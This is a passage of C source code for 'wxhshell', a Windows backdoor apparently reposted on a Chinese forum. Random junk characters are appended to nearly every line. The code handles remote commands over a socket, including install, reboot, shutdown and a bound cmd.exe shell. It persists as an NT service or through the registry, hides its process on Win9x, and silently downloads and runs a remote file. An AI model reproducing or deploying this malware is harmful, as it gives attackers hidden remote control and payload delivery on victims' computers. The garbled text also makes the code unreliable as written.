  else { # ZYid t  
dg'CHxU  
    switch(cmd[0]) { dWq/)%@t  
  fjK]m.w  
  // 帮助 4LKs'$:A=  
  case '?': { %RT6~0z  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); J!TK*\a2  
    break; _sf0{/< )  
  } 6{Cu~G{]N  
  // 安装 J:TI>*tn  
  case 'i': { Zc' >}X[G  
    if(Install()) O>"r. sR  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,N@Icl  
    else }TAGr 0  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )2^/?jK  
    break; 8ZDqqz^C0  
    } 0u&?Zy9&  
  // 卸载 #QyK?i*  
  case 'r': { D=I5[t0c4  
    if(Uninstall()) gQ@Pw4bA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 65`'Upu  
    else .KwuhmR  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); a@a1TpLQ  
    break; %\z COfN  
    } l_q>(FoqA  
  // 显示 wxhshell 所在路径 [:hy  
  case 'p': { L_zmU_zD  
    char svExeFile[MAX_PATH]; [Yahxw}  
    strcpy(svExeFile,"\n\r"); >!v,`O1  
      strcat(svExeFile,ExeFile); $e t :  
        send(wsh,svExeFile,strlen(svExeFile),0); I?B,rT3 h  
    break; pTV@nP  
    } &T{B~i3w8  
  // 重启 R82Zr@_  
  case 'b': { *O}'2Ht6\  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); zHum&V8=H  
    if(Boot(REBOOT)) {;(g[H=q;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m 'H  
    else { z1@sEfk>  
    closesocket(wsh);  &t%&l0  
    ExitThread(0); .T$9Q Ar5  
    } !y2h`ZAZ  
    break; d`q)^  
    } $>rfAs!  
  // 关机 !=Kay^J~.  
  case 'd': { x ;?1#W  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 5SWX v+  
    if(Boot(SHUTDOWN)) CO)b'V,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); d(B;vL@R2V  
    else { \z2hXT@D  
    closesocket(wsh); u b>K^  
    ExitThread(0); H1b%:KRVK  
    } g2b4 ia!L  
    break; f}9`iN=k  
    } qD>Y}Z !  
  // 获取shell A`U2HC   
  case 's': { .=w`T #L  
    CmdShell(wsh); ]H9HO2wGQ  
    closesocket(wsh); 4.kkxQR7r  
    ExitThread(0); Y;5^w=V  
    break; t T/*ZzMq#  
  } ^~1@HcJo  
  // 退出 }d*sWSPu(  
  case 'x': { *[5#g3  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); zB7dCw  
    CloseIt(wsh); @_(@s*4W  
    break; J<$'^AR9"q  
    } 4}YT@={g}  
  // 离开 (pxz#B4  
  case 'q': { &b]KMAo3  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Z 7ZMu  
    closesocket(wsh); :V1ZeNw  
    WSACleanup(); l0bT_?LhK  
    exit(1); o!dkS/u-m  
    break; = Ow&UI  
        } *l8vCa9Y  
  } [x()^{;2  
  } d_|v=^;  
]{,=mOk  
  // 提示信息 ~hw4gdtS  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); u H;^>`DT  
} s?I=}  
  } =&G|} M  
"dU#j,B2  
  return; 8o5^H>  
} c+M@{EbuN  
J0)WRn"h  
// shell模块句柄 S gsR;)2  
int CmdShell(SOCKET sock) =,;3z/k%  
{ `2~Ea_Z  
STARTUPINFO si; X OtS+p  
ZeroMemory(&si,sizeof(si)); (%IstR|u:  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; H.S|njn:r  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Oes+na'^  
PROCESS_INFORMATION ProcessInfo; N P(?[W  
char cmdline[]="cmd"; }z 2-|"H  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); [eik<1=,~?  
  return 0; V1V4 <Zj  
} w [x+2  
Z]+Xh  
// 自身启动模式 8l,hP.  
int StartFromService(void) [GT1,(}. Z  
{ p2?+[d  
typedef struct /r{5Lyk*  
{ |,~A9  
  DWORD ExitStatus; BPs &  
  DWORD PebBaseAddress; 'WgwLE_  
  DWORD AffinityMask;  o|im  
  DWORD BasePriority; o) ?1`7^BA  
  ULONG UniqueProcessId; @8d})X33  
  ULONG InheritedFromUniqueProcessId; '(:J|DN  
}   PROCESS_BASIC_INFORMATION; TZ]Gl4 @  
MX_a]$\ :n  
PROCNTQSIP NtQueryInformationProcess; l;FgX+)  
R20GjWy=  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; KD*4n'm!>  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; r?>Hg+  
@g2L=XF  
  HANDLE             hProcess;  } R6h  
  PROCESS_BASIC_INFORMATION pbi; j_<n~ri-  
D[y|y 3F  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 3&2q\]Y,  
  if(NULL == hInst ) return 0; P@? '@.e  
} dlNMW  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ?uBC{KQ}Y  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); /Bu5k BC  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); d> AmM!J  
iR=aYT~  
  if (!NtQueryInformationProcess) return 0; ~ZC=!|Q#  
N4NH)x  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); <b40\Z{+  
  if(!hProcess) return 0; VqU:`?#"a  
LA Vgf>  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; {vlh ,0~  
Oz7v hOU  
  CloseHandle(hProcess); 1 niTkop  
#-,`4x$m|  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); GlZDuU  
if(hProcess==NULL) return 0; Kf5p* AI  
_kLoDju%  
HMODULE hMod; C#0Wo  
char procName[255]; '2#fkH[.  
unsigned long cbNeeded; >>xV-1h:  
*(IO<KAg8  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); V lNzm  
Sw)ftC~d  
  CloseHandle(hProcess); 03;(v%  
/LzNr0>2  
if(strstr(procName,"services")) return 1; // 以服务启动 b)@x@3"O  
I@+<[n2  
  return 0; // 注册表启动 s3^SjZb  
} )Ggx  
gJ7pu N  
// 主模块 L+CSF ]  
int StartWxhshell(LPSTR lpCmdLine) )HE yTHLtJ  
{ Pl6=._  
  SOCKET wsl; ]x\wP7x  
BOOL val=TRUE; d(XWt;KK  
  int port=0; 96j2D8=w  
  struct sockaddr_in door; ~ $&  
=)bc/309  
  if(wscfg.ws_autoins) Install(); :b-(@a7>  
OR{"9)I  
port=atoi(lpCmdLine); M XQ7%G  
\/Y<.#?_  
if(port<=0) port=wscfg.ws_port; ,{at?y*  
jd*H$BU^  
  WSADATA data; DdgFBO  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; h]$zub  
&y+eE?j  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   p04w 83 jX  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); V5 w^Le_^  
  door.sin_family = AF_INET; ZC-N4ESr  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); F6/bq/s  
  door.sin_port = htons(port); z{x -Vfd  
EK^2 2vi$  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { us+adS.l&  
closesocket(wsl); X}Fv*  
return 1; V ZGhF!To  
} 3 Gkw.  
bcfOp A  
  if(listen(wsl,2) == INVALID_SOCKET) { ]CYe=m1<2Q  
closesocket(wsl); Y._AzJ&B[  
return 1; 70~]J8T+u  
} @ XMC$s  
  Wxhshell(wsl); oJy/PR 3  
  WSACleanup(); z_)$g= 9$  
+L6$Xm5DAv  
return 0; "'L SLp  
E*vi@aI  
} KhvCkQMI@  
[R$4n-$  
// 以NT服务方式启动 fBmx +7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) #s%$kYp 1  
{ :08UeEy  
DWORD   status = 0; Pmb`05\  
  DWORD   specificError = 0xfffffff; S"l&=J2dc  
teb(\% ,  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 7=9jXNk Y  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; b3H;Ea?^^<  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; !Fi)-o  
  serviceStatus.dwWin32ExitCode     = 0; :&MiO3#+  
  serviceStatus.dwServiceSpecificExitCode = 0; E J1:N*BA  
  serviceStatus.dwCheckPoint       = 0; *KAuyJr  
  serviceStatus.dwWaitHint       = 0; rxA<\h,A  
P^UcpU,  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); s0CRrMk  
  if (hServiceStatusHandle==0) return; .755-S  
M=%p$\x  
status = GetLastError(); 6._):[_2  
  if (status!=NO_ERROR) R.@GLx_zpQ  
{ w&H7S{  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ,ic}   
    serviceStatus.dwCheckPoint       = 0; 9z#IdY$a  
    serviceStatus.dwWaitHint       = 0; `XQ5>c  
    serviceStatus.dwWin32ExitCode     = status; ?zEgN!\R)  
    serviceStatus.dwServiceSpecificExitCode = specificError; =0S7tNut  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4|qp&%9-  
    return; p%BO:%v  
  } k95vgn%  
&IPT$=u  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; )%6v~,'3Y  
  serviceStatus.dwCheckPoint       = 0; |j;`;"+B  
  serviceStatus.dwWaitHint       = 0; 6tM{cK%v1  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); YA jk'  
} w jF\>  
@)}U\=  
// 处理NT服务事件,比如:启动、停止 h!MT5B)r.  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ETtR*5Y 5  
{ =S,^"D\Z:  
switch(fdwControl) | zf||ju  
{ Z6I!4K  
case SERVICE_CONTROL_STOP: H={,zZ11{  
  serviceStatus.dwWin32ExitCode = 0; *T3"U|0_y  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; {221@ zcCq  
  serviceStatus.dwCheckPoint   = 0; ^,3 >}PU  
  serviceStatus.dwWaitHint     = 0; f' eKX7R  
  { Oe?nX>  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  Cfi5r|S  
  } Aq-v3$XL  
  return; j2z$kw%  
case SERVICE_CONTROL_PAUSE: wBf bpoE7  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Tb[GZ,/%;  
  break; U[ed#9l>  
case SERVICE_CONTROL_CONTINUE: l!1bmg#]$  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; UCQL~  
  break; W$y?~2  
case SERVICE_CONTROL_INTERROGATE: "H({kmR  
  break; x-"7{@lz  
}; N4Ym[l  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); eWFlJ;=  
} JO$0Z  
X@ss d  
// 标准应用程序主函数 Y\rKw!u_!  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) R .,w`<<  
{ '{|87kI  
Cs$g]&a  
// 获取操作系统版本 t6tqv  
OsIsNt=GetOsVer(); ;J4_8N-  
GetModuleFileName(NULL,ExeFile,MAX_PATH); `f (!i mN  
*]rV,\z:  
  // 从命令行安装 o,d:{tt  
  if(strpbrk(lpCmdLine,"iI")) Install(); 90q*V%cS  
[wEx jLW  
  // 下载执行文件 4B |f}7%\  
if(wscfg.ws_downexe) { pG (8VteH  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) vO\CPb %/  
  WinExec(wscfg.ws_filenam,SW_HIDE); FIuKX"XR  
} Gce![<|ph  
ow&R~_  
if(!OsIsNt) { vt1!|2{ h  
// 如果时win9x,隐藏进程并且设置为注册表启动 d"V^^I)yx&  
HideProc(); _|F h^hq  
StartWxhshell(lpCmdLine); u+]zi"k^s  
} ]$7|1-&Y  
else m~}nM|m%  
  if(StartFromService()) }5A?WH_  
  // 以服务方式启动 yVW)DQ 4?  
  StartServiceCtrlDispatcher(DispatchTable); g ,.iM8  
else 4"GY0) Q  
  // 普通方式启动 -1@kt<Es  
  StartWxhshell(lpCmdLine); =lzjMRX(?  
a^CIJ.P2  
return 0; J[^-k!9M  
}
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只看该作者 1 发表于: 2006-10-10
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